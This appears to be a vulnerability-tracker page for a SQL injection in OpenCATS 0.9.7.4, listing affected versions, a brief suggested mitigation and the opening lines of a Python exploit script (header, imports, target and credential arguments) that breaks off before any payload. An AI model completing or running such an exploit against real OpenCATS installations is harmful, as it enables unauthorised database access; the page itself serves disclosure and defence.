Skip to main content
ExploitPublished

https://github.com/opencats/OpenCATS · OpenCATS 0.9.7.4 · SQL Injection

Affects https://github.com/opencats/OpenCATSSource Exploit-DB RSS Feed

0
Severity
High

Rated by Threat Radar

Data as of 9 Aug 2026, 18:15 UTC

What to do

Affected software

ProductAffectedFixed in
https://www.opencats.org https://github.com/opencats/OpenCATSAffected
  • <=0.9.7.4
  • <= 0.9.7.4
Fixed in–

AI-suggested

Until an official fix is available, consider applying input validation and parameterized queries as temporary mitigations. Monitor the vendor's website and trusted security sources for updates.

Description

OpenCATS 0.9.7.4 - SQL Injection

Indicators of compromise

Exploit source code

Exploit code for OpenCATS 0.9.7.4 - SQL Injection2,141 characters
# Exploit Title: OpenCATS 0.9.7.4 - SQL Injection
# Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI
# Vendor Homepage: https://www.opencats.org
# Software Link: https://github.com/opencats/OpenCATS
# Version: <= 0.9.7.4
# Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6
# CVE: N/A (GHSA-8mc8-5gw6-c7w4)
import requests, json, sys, time

url   = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888"
user  = sys.argv[2] if len(sys.argv) > 2 else "admin"
pw    = sys.argv[3] if len…

References

Community reviews

Loading reviews…